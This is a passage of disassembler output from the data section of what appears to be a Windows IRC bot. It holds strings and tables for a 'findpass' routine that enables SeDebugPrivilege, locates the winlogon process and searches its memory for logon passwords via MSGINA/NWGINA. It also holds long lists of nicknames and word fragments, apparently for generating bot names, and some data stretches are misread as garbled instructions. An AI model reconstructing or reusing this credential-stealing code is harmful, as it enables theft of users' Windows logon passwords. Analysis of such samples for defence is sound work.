		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437930	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_437964	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_437990	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_4379C8	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A24	dd offset aUidt		; DATA XREF: sub_416F1A+DCo
					; "žIDâ"
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A3C	dd offset aUidt		; DATA XREF: sub_416F1A+CEo
					; "žIDâ"
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_437B00	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B4C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437B9C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437BF0	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
; ---------------------------------------------------------------------------
		mov	al, ds:38004387h
		lodsb
		inc	edx
		add	[ebx+eax*8], al
		inc	edx
		add	[eax-3Eh], bh
		inc	edx
		add	[edi+eax*4-5587FFBDh], bl
		inc	edx
		add	ah, dl
		retn	42h
; ---------------------------------------------------------------------------
		push	esp
		stosb
		inc	edx
		add	ah, dl
		lodsb
		inc	edx
		add	ah, bl
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aD		; "d"
		dd offset dword_438798
		dd offset dword_438794
		dd offset dword_438790
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43878C
		dd offset dword_438788
		dd offset dword_438784
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438780
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset dword_438770
		dd offset dword_43876C
		dd offset word_438768
		dd offset dword_438764
		dd offset aI_0		; "I"
		dd offset dword_438760
		dd offset dword_43875C
		dd offset aA_0		; "A"
		dd offset dword_438758
		dd offset dword_438754
		dd offset dword_438750
		dd offset dword_43874C
		dd offset dword_438748
		dd offset dword_438744
		dd offset dword_438740
		dd offset dword_43873C
		dd offset dword_438738
		dd offset dword_438734
		dd offset dword_438730
		dd offset dword_43872C
		dd offset dword_438728
		dd offset word_438724
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384BC
		dd offset off_4384B8
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438324
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437EF0	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438780
		dd offset aC		; "c"
		dd offset aD		; "d"
		db  38h	; 8
		db 0ACh	; ¬
		db  42h	; B
		db    0
		db  98h	; ˜
		db  87h	; ‡
		db  43h	; C
		db    0
		db  94h	; ”
		db  87h	; ‡
		db  43h	; C
		db    0
		db  90h	; 
		db  87h	; ‡
		db  43h	; C
		db    0
		db 0D4h	; Ô
		db 0C2h	; Â
		db  42h	; B
		db    0
; ---------------------------------------------------------------------------
		cld
		mov	ah, 42h
		add	[ebx+esi*4+42h], al
		add	[eax-39h], bl
		inc	edx
		add	[edi+eax*4-533BFFBDh], cl
		inc	edx
		add	[eax-4Dh], cl
		inc	edx
		add	al, bh
		mov	dl, 42h
		add	[edx+ebp*4+42h], dl
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
; ---------------------------------------------------------------------------
		mov	al, ds:84004387h
		xchg	eax, [ebx+0]
		pushf
		xchg	eax, [ebx+0]
		mov	[edi-7E83FFBDh], al
		inc	ebx
		add	[eax-7Fh], bh
		inc	ebx
		add	[ecx+eax*4+43h], dh
		add	[eax-7Fh], dh
		inc	ebx
		add	[ecx+eax*4+43h], ch
		add	[eax-7Fh], ch
		inc	ebx
		add	[ecx+eax*4+43h], ah
		add	[ecx+eax*4+43h], bl
		add	[ecx+eax*4+43h], dl
		add	[ecx+eax*4+43h], cl
		add	[ecx+eax*4+43h], al
		add	[eax-6BFFBC79h], cl
		xchg	eax, [ebx+0]
		fadd	st(2), st
		inc	edx
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset off_438140
		dd offset aBbl		; "|bbl"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset a___0		; "_|_"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438750
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438780
		dd offset dword_43D128
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438734
		dd offset dword_43D128
		dd offset off_438100
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380C0
		dd offset dword_4380BC
		dd offset dword_4380B4
		dd offset dword_4380A8
		dd offset dword_4380A0
		dd offset dword_438098
		dd offset dword_438090
		dd offset dword_43808C
		dd offset dword_438088
dword_438088	dd 7536h		; DATA XREF: ___:00438084o
dword_43808C	dd 7535h		; DATA XREF: ___:00438080o
dword_438090	dd 7C75347Ch, 0		; DATA XREF: ___:0043807Co
dword_438098	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438078o
dword_4380A0	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438074o
dword_4380A8	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o
dword_4380B4	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043806Co
dword_4380BC	dd 6C6F6Ch		; DATA XREF: ___:00438068o
dword_4380C0	dd 746F74h		; DATA XREF: ___:00438064o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438060o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043805Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438058o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438054o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438050o
aShit		db 'shit',0             ; DATA XREF: ___:0043804Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:00438048o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438044o
		align 10h
off_438100	dd offset word_594F42	; DATA XREF: ___:00438040o
aFree		db 'Free',0             ; DATA XREF: ___:0043802Co
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438028o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:0043801Co
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438010o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:0043800Co
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438008o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00437FECo
aBbl		db '|bbl',0             ; DATA XREF: ___:00437FE0o
		align 10h
off_438140	dd offset loc_425242	; DATA XREF: ___:00437FDCo
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 4
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0
		align 4
aUi		db 'ui',0
		align 4
aSdf		db 'sdf',0
aRt		db 'rt',0
		align 10h
aGf		db 'gf',0
		align 4
aTy		db 'ty',0
		align 4
aRg		db 'rg',0
		align 4
aHappy		db 'happy',0
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00437F80o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00437F38o
		align 10h
aQ8		db 'Q8',0               ; DATA XREF: ___:00437F34o
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00437F30o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00437F2Co
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00437F28o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: ___:00437F24o
		align 4
aSex		db '{sex}',0            ; DATA XREF: ___:00437F20o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: ___:00437F1Co
		align 4
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F18o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F14o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F10o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F0Co
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F08o
aLag		db 'lag',0              ; DATA XREF: ___:00437F04o
aBad		db 'bad',0              ; DATA XREF: ___:00437F00o
aTree		db 'tree',0             ; DATA XREF: ___:00437EFCo
		align 10h
aZex		db 'zex',0              ; DATA XREF: ___:00437EF8o
aLez		db 'lez',0              ; DATA XREF: ___:00437EF4o
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437EF0o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437EECo
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437EE8o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437EE4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437EE0o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437EDCo
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437ED8o
		align 10h
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437ED4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437ED0o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437ECCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437EC8o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437EC4o
		align 10h
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EC0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EBCo
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00437EB8o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EB4o
aAkden		db 'akden',0            ; DATA XREF: ___:00437EB0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EACo
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437EA8o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437EA4o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437EA0o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437E9Co
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437E98o
		align 10h
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437E94o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437E90o
		align 10h
aErkan		db 'erkan',0            ; DATA XREF: ___:00437E8Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00437E88o
		align 10h
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437E84o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437E80o
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: ___:00437E7Co
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437E78o
		align 4
off_438324	dd offset byte_4B5245	; DATA XREF: ___:00437E74o
aSevda		db 'sevda',0            ; DATA XREF: ___:00437E70o
		align 10h
aKotan		db 'kotan',0            ; DATA XREF: ___:00437E6Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437E68o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E64o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E60o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E5Co
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E58o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E54o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E50o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E4Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E48o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E44o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E40o
		align 10h
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E3Co
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E38o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E34o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E30o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E2Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E28o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E24o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E20o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E1Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E18o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E14o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E10o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E0Co
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E08o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E04o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E00o
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437DFCo
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437DF8o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437DF4o
aArda		db 'arda',0             ; DATA XREF: ___:00437DF0o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00437DECo
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437DE8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437DE4o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437DE0o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437DDCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437DD8o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437DD4o
		align 10h
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437DD0o
		align 4
off_4384B8	dd offset byte_457441	; DATA XREF: ___:00437DCCo
dword_4384BC	dd 414C5941h, 2Dh	; DATA XREF: ___:00437DC8o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DC4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DC0o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DBCo
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DB8o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DB4o
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DB0o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DACo
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DA8o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DA4o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DA0o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437D9Co
aAslii		db 'aslii',0            ; DATA XREF: ___:00437D98o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437D94o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437D90o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437D8Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437D88o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437D84o
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437D80o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437D7Co
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437D78o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437D74o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437D70o
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437D6Co
		align 4
aMary		db 'MARY',0             ; DATA XREF: ___:00437D68o
		align 10h
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D64o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D60o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D5Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D58o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D54o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D50o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D4Co
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D48o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D44o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D40o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D3Co
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D38o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D34o
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D30o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D2Co
		align 10h
aImra		db 'imra',0             ; DATA XREF: ___:00437D28o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D24o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D20o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D1Co
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00437D18o
		align 10h
aTroller	db 'troller',0          ; DATA XREF: ___:00437D14o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D10o
		align 10h
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D0Co
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D08o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D04o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D00o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437CFCo
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437CF8o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00437CF4o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00437CF0o
		align 10h
aShez		db 'Shez',0             ; DATA XREF: ___:00437CECo
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00437CE8o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437CE4o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00437CE0o
		align 10h
aMale		db 'male',0             ; DATA XREF: ___:00437CDCo
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00437CD8o
		align 10h
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437CD4o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437CD0o
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437CCCo
		align 4
